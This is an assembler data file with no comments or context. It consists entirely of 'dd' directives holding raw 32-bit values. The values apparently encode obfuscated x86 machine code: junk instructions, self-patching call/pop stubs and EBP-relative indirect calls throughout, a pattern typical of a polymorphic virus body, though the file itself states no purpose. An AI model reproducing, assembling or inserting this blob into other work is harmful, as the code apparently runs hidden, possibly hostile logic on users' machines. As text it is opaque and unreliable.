		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C000CEC3h, 89C6533Ch, 140B39BDh, 0AD95FF06h, 0BB061433h
		dd 4AA39733h, 8B666096h, 13E8CFh, 86BF0000h, 0CC7768E3h
		dd 870E0A20h, 1830D41Ch, 8213DFDDh, 59616051h, 8B665061h
		dd 6A96FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 1E6BFDC3h, 0A9EF89B8h, 9BE38128h,	0FF659C1Ah
		dd 17A7EAB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0F1E276E7h, 0EADCA3E9h, 0CE8A3DCh
		dd 3D000000h, 0A954C516h, 5908E257h, 8B667C2Ch,	141BD19Dh
		dd 95FF5F06h, 6142309h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 26C35242h, 4464540Ah,	1A92D0C0h, 0EE9h
		dd 0A6C3FF00h, 0F920F1FBh, 73CB3D0Ah, 6047E493h, 600CDC80h
		dd 318D29FCh, 6106142Eh, 89BD8361h, 61411h, 2B840Fh, 85310000h
		dd 614066Dh, 0BF525050h, 1AAB441Ah, 0BE9310Fh, 80000000h
		dd 7DF3874Bh, 0DCC54E93h, 585A4C64h, 81243489h,	90479BEFh
		dd 0EAB5FF20h, 6A0617A7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h
		dd 41000000h, 0DB6CC351h, 0CA28B11Ah, 7DBD23CCh, 0F061413h
		dd 58Ah, 0C7816600h, 95FFA0EDh,	61402D5h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 6C35747h, 0ABBF662Dh
		dd 0EAB5FF21h, 8B0617A7h, 143495BDh, 7595FF06h,	6A06140Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 6951C356h, 8BCEEC31h, 141F79BDh, 2DBD8306h
		dd 2061411h, 91840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 514EC7C3h, 8B70E7DFh
		dd 14005585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 800FE075h, 15h, 0DE852h, 3F080000h
		dd 6BEDF92h, 55A7B98Eh,	5F139330h, 0D781605Bh, 57BA610Bh
		dd 2830Fh, 0FCB00000h, 0C661h, 0DE8h, 4CE16500h, 0F2001058h
		dd 3ACBFE05h, 8C0FE6D5h, 6, 3019D8Bh, 0C75B0614h, 141E4985h
		dd 6, 0DE900h, 13FB0000h, 355DC9FEh, 0C9ADBCE1h, 0F5F0422h
		dd 40E9FFBFh, 3FFFFF3h,	141E3DBDh, 66C18B06h, 858DDA8Bh
		dd 6140791h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	49C35242h, 0C01C33D5h, 9159938h, 958960F0h, 6140301h
		dd 91CE1DB9h, 0BF906165h, 3A1CFE98h, 90D88B50h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 45C35747h, 0ACADB1D9h
		dd 81ACCC43h, 0D55F95F7h, 0DE845h, 13D0000h, 0FCD4C8CDh
		dd 65255B9h, 806FF7AAh,	665F86F3h, 0C9F5C381h, 0BD8B006Ah
		dd 6141B95h, 9D31006Ah,	614240Dh, 29859D8Bh, 858D0614h
		dd 61858FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	40C35545h, 945B509h, 0C0830614h, 52BB6605h, 5B515016h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E5ADC355h, 6A006AB5h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 24E0C352h, 79850128h, 6A061415h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 13AF42F6h
		dd 0C56A6452h, 0BD8B4A70h, 61400CDh, 14E8h, 59547500h
		dd 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 77075D93h,	5BF98AF5h
		dd 1B1995FFh, 0E9600614h, 9, 0C3600A0Ah, 9EFAA4D1h, 8D8D610Fh
		dd 617A778h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	82C35040h, 8B558659h, 1412ED9Dh, 31D1FF06h, 14160DB5h
		dd 0CDBD8306h, 1061401h, 69850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8250F9C3h
		dd 4A74CB60h, 8B0FBB42h, 3, 6ADEB70Fh, 0FAB70F02h, 33B5BB50h
		dd 4896CCBh, 13E824h, 0E6640000h, 0DA6AB3EDh, 0A56B1210h
		dd 2D0F671Bh, 5D3DFC38h, 0F8BF0F01h, 85BD8B5Bh,	0FF061404h
		dd 1433AD95h, 359D8906h, 0E9061419h, 0DE4h, 0E8h, 0ED815D00h
		dd 6185909h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0E0C35242h, 0C074CB6h, 8D31D39Fh, 614151Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BDC35646h, 53568A8Bh
		dd 8E49858Dh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 3FC36C3h, 0A4658D07h, 0E976390Eh
		dd 12h,	5E1664BEh, 47397114h, 3DF268B8h, 50FFD0A3h, 8B50B5A8h
		dd 240489DEh, 64FB8B66h, 35FFh,	89640000h, 25h,	7E900h
		dd 0EF990000h, 4B9916B9h, 0ED85FF6Eh, 0F06142Dh, 1880h
		dd 0CE800h, 0CBC50000h,	0B6272BDBh, 0E858B449h,	8F0F1165h
		dd 0
		dd 60FF6A5Bh, 80C8B70Fh, 0FF6152F0h, 14129DB5h,	0F88B6606h
		dd 2A8995FFh, 2BE90614h, 8B000001h, 141A1DBDh, 2300B006h
		dd 143425BDh, 0B370E606h, 3C71E46Dh, 0F830F61h,	81000001h
		dd 3E9817CBh, 0B60FF503h, 0C19D8BC8h, 0BA06141Fh, 6, 0F9FBB70Fh
		dd 9589C18Bh, 6140F55h,	88DBD8Bh, 0E8C10614h, 659D8B04h
		dd 66061431h, 0F99CD381h, 0E8E2F766h, 5, 389C0A7Eh, 0CE9B5h
		dd 0BF870000h, 1105A769h, 0A7D144A3h, 8B5BD8BDh, 1401699Dh
		dd 89C82B06h, 141EF98Dh, 10E806h, 12F00000h, 1A67000Bh
		dd 0C4D614A5h, 836DE194h, 81664EF7h, 5F7FD5D3h,	0E9F8D18Bh
		dd 6, 1D519589h, 858B0614h, 61425B5h, 0F07C083h, 280h
		dd 8331B300h, 0BF6600C0h, 81665CF6h, 3B9F20E7h,	17830FD0h
		dd 0F000000h, 688h, 69950900h, 0E9061402h, 4Eh,	0D819D2Bh
		dd 8D8B0614h, 6141C69h,	1E183F8h, 38840Fh, 8C0F0000h, 6
		dd 0A4DB589h, 0A5830614h, 6141C69h, 880F60FEh, 6, 3195B58Bh
		dd 95330614h, 61406E1h,	0B5958961h, 89061425h, 14137195h
		dd 0E906h, 0B58D0000h, 617D779h, 245B589h, 6A0614h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DAC35646h, 418ACC01h
		dd 69097C85h, 75BD8B19h, 8906140Ah, 141E9DBDh, 59D8B06h
		dd 0FF061408h, 14297195h, 0FAB70F06h, 83CB9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 162904E4h, 0EDE97309h, 83DE8BACh, 0BB66FCE1h, 0BD8B560Eh
		dd 6141935h, 57006AFCh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 6637247h,	0EB699B99h, 0B8F88B66h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F6C35545h
		dd 0BF23C802h, 14575E50h, 26099D8Bh, 0BA0614h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3925C353h, 8D892D53h, 6141699h, 4599D33h
		dd 33AD0614h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F4CC3h
		dd 0BE9D8h, 0B3090000h,	14D8A7C6h, 7E523D5Bh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0DF43AD9Eh, 0EE8E7539h, 0FD8D0914h, 0D06140Fh, 88h
		dd 0EE8h, 0AAA10200h, 0D4E81108h, 4B693B5Ch, 1CDAE9Eh
		dd 1404819Dh, 958B5B06h, 6142B69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 5FC35040h, 8D8BCE6Ah, 6141055h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h
		dd 0B05A33EBh, 0F37EDB90h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 6A81C3h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B15B98C3h, 1D6213BFh
		dd 9D8BB9A7h, 61433F1h,	0F4DBD83h, 0F000614h, 6384h, 9CBF6600h
		dd 0B8D4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0A4D91EC3h, 8A0F0542h, 7, 0FAB70F60h
		dd 8D615A57h, 144DFF8Dh, 2DB8006h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F60E0BC3h
		dd 0DFB3CE39h, 13DBD83h, 0F000614h, 42C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6A6D1EC6h, 0B7CB23B4h, 3DBD83B9h, 1061401h, 416840Fh
		dd 0BD830000h, 614013Dh, 0D3860F03h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B91BC351h, 9D3317EAh, 6141E79h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 77C35E3Fh
		dd 0D890FC1h, 0E9000000h, 8, 7386CF54h,	0B5ACFF7Ch, 1059BD8Bh
		dd 8C660614h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0E91D0418h, 16DEAAE7h, 0B70F1F60h
		dd 4E180DBh, 9435D381h,	0C90A00DEh, 14A840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 449479C3h, 0B5B52970h, 50061409h, 0F6F38166h, 858B5B96h
		dd 6140E35h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0B7C35141h, 0B25E8C46h,	7D447F7Bh, 0F098D09h, 85330614h
		dd 61406A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	1AC35242h, 7FDC06ACh, 6060833Fh, 0F50FF180h, 0E7BF6661h
		dd 669061D9h, 0E950D98Bh, 6, 7B00CFFEh,	0F905495h, 683h
		dd 0BD9D8B00h, 0F9061417h, 0DE9006Ah, 81000000h, 0FA8654FCh
		dd 431B4108h, 5AF32EEDh, 5FBDE868h, 7E9A1h, 4A0000h, 6A8BDD6Ch
		dd 24048162h, 5EBF4617h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0D5C35242h, 0F38166ADh, 95FF2CD4h, 614089Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B7C35747h
		dd 968BD9BFh, 0E9FC2CD9h, 11h, 0BA8E8909h, 0DEFAE468h
		dd 9D50BA26h, 0F685232Eh, 0EA858986h, 660617A7h, 0E95737BFh
		dd 163h, 0A7E2858Bh, 9D8B0617h,	6141EEDh, 1800C7h, 0F5F90000h
		dd 0A7E6B58Bh, 6A0617h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 17E6FEC3h, 7E265A71h, 858B7990h
		dd 6140281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	2AC35040h, 0A4C0589Ch, 198DBD29h, 0BD8B0614h, 6140169h
		dd 0D359D0Bh, 6890614h,	8BD8B70Fh, 140E3585h, 42BB6606h
		dd 44689B4h, 1E91BD89h,	0ABB70614h, 24348950h, 51CF8166h
		dd 51BD8B99h, 0FF06142Dh, 17A7E2B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 4E891BAh, 0FF000000h
		dd 50001F03h, 0F8FCBB52h, 310F56B6h, 585A48B7h,	0F8C0F50h
		dd 0E8000000h, 7, 0B8765D90h, 51097EB1h, 448B5B5Bh, 8B0424h
		dd 4489FA8Bh, 0BB660424h, 8B5868F6h, 140A5D9Dh,	0EA858D06h
		dd 6A0617A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D03FC352h, 8930C95Bh,	14316DBDh
		dd 8B669006h, 0F88B50DFh, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C23F3836h
		dd 0DF8B3F2Ch, 89D95FFh, 61F50614h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 5FC35242h, 0BB839143h, 956A9457h
		dd 3D85C7ADh, 3061401h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 6A9DC352h
		dd 0EABD8304h, 617A7h, 30840Fh,	8D290000h, 6140BE9h, 0E9D9BF0Fh
		dd 3Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0ECC35747h, 607D6EA7h, 3050F33Ch, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 110AA538h
		dd 960607Ah, 142575BDh,	0CF816606h, 3361A466h, 14302DB5h
		dd 66506106h, 5FFCCCBBh, 13DBD83h, 0F030614h, 42985h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 2DB54F57h, 832BF7B6h, 17A7EABDh, 840F0006h, 3FAh, 0A7EAB5FFh
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6EC901C3h, 0E90E6FAFh, 11h, 5C87CEE4h, 8040B67Ch
		dd 8F5D0B95h, 95945850h, 13E8B7h, 88A60000h, 2BCAB14Ch
		dd 6258DE94h, 0E1491DA4h, 0B1B0A188h, 0E99529E6h, 5B061407h
		dd 33995FFh, 0BE90614h,	94000000h, 0A5C996BBh, 0AD206501h
		dd 12E88465h, 9C000000h, 1A31CF95h, 5B76BE4Fh, 0BBC2FCE7h
		dd 28F235F4h, 419D2B75h, 5F061407h, 0A7DEB58Bh,	0C7F50617h
		dd 1000106h, 0EE99600h,	0B4000000h, 0A6017478h,	4C2C0919h
		dd 70582CB5h, 0CEBB50E7h, 9654FA4Eh, 32D38166h,	0EAB5FF65h
		dd 6A0617A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 67C9C355h, 852B609Dh, 6141E29h
		dd 0FC61D98Bh, 108195FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 55203DC3h, 8977EE03h
		dd 1425D585h, 0DEB58B06h, 810617A7h, 953509EBh
		dd 0F9858B4Ah, 6A06140Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 890CC350h, 0C486h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 958BDC55h, 6142B69h, 4C283F5h, 33E59D8Bh
		dd 50890614h, 0AE920h, 96550000h, 0DD41733h, 0B1DDE93h
		dd 0BC23858Dh, 0BB660617h, 8689D1C1h, 0B8h, 6AFE8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 5AC35242h, 15B99D8Bh
		dd 0B5FF0614h, 617A7EAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 37C35343h, 98A2FFAh, 140EF5B5h, 29BD8B06h
		dd 0FF06140Ch, 1433AD95h, 890F5706h, 17h, 11E8h, 0D7CD5600h
		dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5F5BDEDBh,	96F9BF0Fh
		dd 14E8h, 5533BC00h, 5428CBD4h,	0DD2FA3C2h, 693759Ch, 0E0D5E449h
		dd 0B2BF66F7h, 0BF505FBAh, 5B50CBCDh, 0EAB5FF96h, 6A0617A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4FB5C355h, 465BD8Bh, 95FF0614h, 6142309h
		dd 0E19EF781h, 0BD830586h, 6141189h, 28840F00h,	0E9000000h
		dd 6, 82F25739h, 609674BAh, 5061C58Ah, 11E996h,	0D5CD0000h
		dd 8F679BDFh, 7A86D45Ah, 32A2CE59h, 0FF1535A9h,	17A7EAB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2A84D510h, 8509D58Eh, 6140DD9h, 2D595FFh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A5ACDC3h, 51BD8950h, 0E8061413h,	0Ch, 0F77213CFh
		dd 2AFD9647h, 0E1A6190Dh, 6D87E1BFh, 0B5FF5F20h, 617A7EAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E8C35545h
		dd 7595FFB0h, 0E806140Bh, 10h, 49AD3C7Ah, 3527C051h, 0FA94E743h
		dd 60BFC8EEh, 2E299D89h, 665B0614h, 8334B0BBh, 14112DBDh
		dd 840F0206h, 74h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0EDC35141h, 76D44A1Eh, 8B43BFE1h, 14005585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F6E35487h, 0C684h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 2FC35747h, 0E01EE3BCh, 0BD8B61B7h
		dd 6142A09h, 1E4985C7h,	614h, 9D8B0000h, 6140285h, 2E0D9589h
		dd 2AE90614h, 66FFFFF3h, 8BA1ABBFh, 57006AC1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0FBA3FA0h
		dd 96F91446h, 0ED858950h, 5F06140Bh, 791858Dh, 0BB660614h
		dd 0BB90FF4Dh, 58DBBE82h, 7040BB50h, 0E99005EEh, 0Dh, 5798E8F5h
		dd 5E7ACDCBh, 983D9990h, 6830F92h, 0F000000h, 8Ah, 6A006A00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 3944C357h, 6D9AC61Ch, 0D99D0952h,	5B061401h
		dd 10E9h, 4C6DE000h, 0B7BAEE4h,	393204Bh, 9ADBECCCh, 6A006A60h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 8D8AC355h, 5665CCAAh, 8D5BF88Bh, 18695C85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 14E9D699h, 18000000h, 0A3F4F9D2h, 0EED422B9h
		dd 187EDE82h, 696939EBh, 832838B9h, 6A05C0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 9727F2C3h
		dd 816694C9h, 8B8A73DBh, 14071DBDh, 830F9006h, 17h, 0EE8h
		dd 7CCE4B00h, 626E7288h, 8125D36Ah, 6655D637h, 505BF88Bh
		dd 7F01BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 6DF6DA48h, 7CE38012h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 1FB96C3h, 0BB82CDE3h, 0AE9B4h, 4BD60000h, 2BFB300Dh
		dd 8B8D2507h, 8B006AF9h, 1995FFFBh, 6A06141Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9973C350h, 0A659E2CEh, 9E9E6A1h, 5E000000h, 2D31D8BAh
		dd 968E6DFAh, 0A7788D8Dh, 0D98B0617h, 8166D1FFh, 8BDD87D7h
		dd 1406719Dh, 0CDBD8306h, 1061401h, 96850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0AD1F1DC3h, 6A026Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B8CE8C3h, 1433E59Dh, 53CB8106h
		dd 89579510h, 1417CDBDh, 0FE85006h, 0A3000000h,	4CCFFAD7h
		dd 3E56BFCEh, 0F9581BE8h, 0DA8A9A12h, 2404895Fh, 12E860h
		dd 0BC600000h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
		dd 17FD9D09h, 8A5E0614h, 95FF61E6h, 61433ADh, 0A810BF66h
		dd 0D9EE9h, 0E800h, 815D0000h, 186966EDh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 3EFEAEF1h, 0B6FD8AC0h, 95893487h, 6140D69h, 0EE9h, 4E586A00h
		dd 78410BCh, 3BEE3F34h,	2B8E36A3h, 1412ED9Dh, 49858D06h
		dd 6A06178Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 782EC357h, 0FE854DEh, 383h, 0F98B6600h
		dd 11E850h, 0A5D0000h, 0CD1DBB9h, 7F4C0E01h, 8F25392Fh
		dd 667F0828h, 5B0CE2BBh, 66240489h, 64B8B6BBh, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7CF7F1C3h, 0D3818703h, 3718F1FFh, 258964h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 1558C356h, 0ED3DCC42h, 851EEEB8h,	0FC4CB80h
		dd 582h, 3193BF00h, 85FF22D3h, 6142DEDh, 3820Fh, 8B660000h
		dd 0E9FF6ADFh, 12h, 84AD59BBh, 6ECCA542h, 101E5394h, 2923B216h
		dd 0B5FFC68Bh, 6141D11h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0CEC35545h, 915B3892h, 0A5BD8BEBh, 106142Fh
		dd 143119BDh, 8995FF06h, 0E906142Ah, 104h, 0F6BBF66h, 22DBD8Bh
		dd 0B00614h, 0E7DFEF81h, 0BF663A32h, 70E65D87h,	5FDE8B53h
		dd 0E6B771E4h, 830F613Ch, 0DCh,	15BDBD8Bh, 0B60F0614h
		dd 68A0FC8h, 8B000000h,	140F51BDh, 6BA06h, 0BD8B0000h
		dd 6141E65h, 9D89C18Bh,	6140C89h, 8904E8C1h, 14259585h
		dd 0E2F76606h, 8BF8C82Bh, 8D8B60D1h, 6140F55h, 0E961E28Ah
		dd 0
		dd 7DD858Bh, 0B5010614h, 6142355h, 8307C083h, 9E900C0h
		dd 0C7000000h, 701A386Bh, 6FC8BE49h, 830FD03Bh,	1Ah, 0EE9h
		dd 3E269A00h, 7F8229B8h, 5F2E4145h, 0E9D8CA2Ch,	54h, 8D8B1FB3h
		dd 61420ADh, 7AC78166h,	1E18376h, 3E840Fh, 85890000h, 61403F1h
		dd 20ADA583h, 0E9FE0614h, 5, 5155DEDBh,	0DD9589B4h, 0E9061407h
		dd 14h,	0F32BE720h, 0AA4ACC41h,	0B9D33E63h, 72C4E4F2h
		dd 37B66D52h, 0E9FAB70Fh, 0
		dd 0E17DB58Dh, 6A0617h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0E76349C3h, 0F9417674h, 6A006AB9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 7CE6C350h, 0E714D4E0h, 2561BD8Bh,	95FF0614h
		dd 6142971h, 9AD9D8Bh, 61B90614h, 6A000008h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0BFA6C351h, 0E183E6BEh, 799D89FCh, 0FC06140Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 16C35141h, 1AC1BD8Bh
		dd 0B80614h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0DB4CC352h,	1E7B33BAh
		dd 13E988h, 836C0000h, 5EC337E4h, 0F51DEFFh, 0E2C96D77h
		dd 0AE147D7Ah, 0BAFC2Bh, 89000000h, 140E219Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 483FFE11h
		dd 89F63807h, 141D09BDh, 0D5BD8B06h, 0F061430h,	687h, 0DD958900h
		dd 0E9061417h, 0Fh, 26CFF4A5h, 917E8919h, 0A4461F30h, 0DF92971h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 0B1C35141h, 602B8637h, 6A591EDAh, 0B9BD8B78h, 8B061420h
		dd 142B6995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 231031A5h, 512F247h, 8D8B5FDEh, 6141055h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BDC35646h
		dd 602C7D02h, 0BD8BF9D5h, 6141B15h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 85895818h, 61410EDh, 341B71BBh
		dd 4DBD833Eh, 6140Fh, 6C840Fh, 0AE90000h, 0B4000000h, 22040714h
		dd 0B7C7C0B1h, 0B89Dh, 0FA8B0000h, 4DFF8D8Dh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A621C8C3h, 0B095CFB9h, 6840Fh, 9D8B0000h, 6141AEDh
		dd 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D6548CC3h, 0BD83DF8Bh, 614013Dh,	44840F00h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6A1CC351h, 3A10F24Dh, 0CD1B589h
		dd 0B5890614h, 6141545h, 13DBD83h, 0F010614h, 42584h, 0ACF8100h
		dd 8308837Bh, 14013DBDh, 860F0306h, 3DCh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 0A0C35545h, 1FEFCFB3h
		dd 6A60F80Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0C96BC351h, 29776120h,	1406AD8Dh
		dd 0D98C6606h, 0B260BB66h, 6A04E180h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 5565C351h
		dd 97D80076h, 0D98B6630h, 0BE9h, 0E3296B00h, 60F61735h
		dd 9FA87A3Fh, 840FC90Ah, 121h, 659D01h,	858B0614h, 6140E35h
		dd 0D69BD89h, 85330614h, 61406A9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0D8C35343h,	0FE8B6690h, 13860F50h
		dd 0E9000000h, 0Eh, 4C31C9BAh, 8B151308h, 31210DA2h, 6A90E554h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0B82EC350h, 2B6499B9h, 0F10A5DEh,	6AF9BFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h
		dd 0B4B8035Fh, 2287AC68h, 240481DBh, 24FC7C53h,	0A9D9531h
		dd 95FF0614h, 614089Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 93C35343h, 858950C7h,	617A7EAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 9EC35747h, 54EB4589h
		dd 1F6E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 9E0F02C3h, 20CBC0Ah, 0E2858BF6h
		dd 0F0617A7h, 689h, 0BDBD8B00h,	0E806141Dh, 7, 0AA0CE4BAh
		dd 0E80B1AB5h, 13h, 63BDA868h, 0AD96F7BBh, 0F97C550Bh
		dd 132E4DEEh, 66D54EA3h, 8471EF81h, 0C75F5Bh, 18h, 0E851006Ah
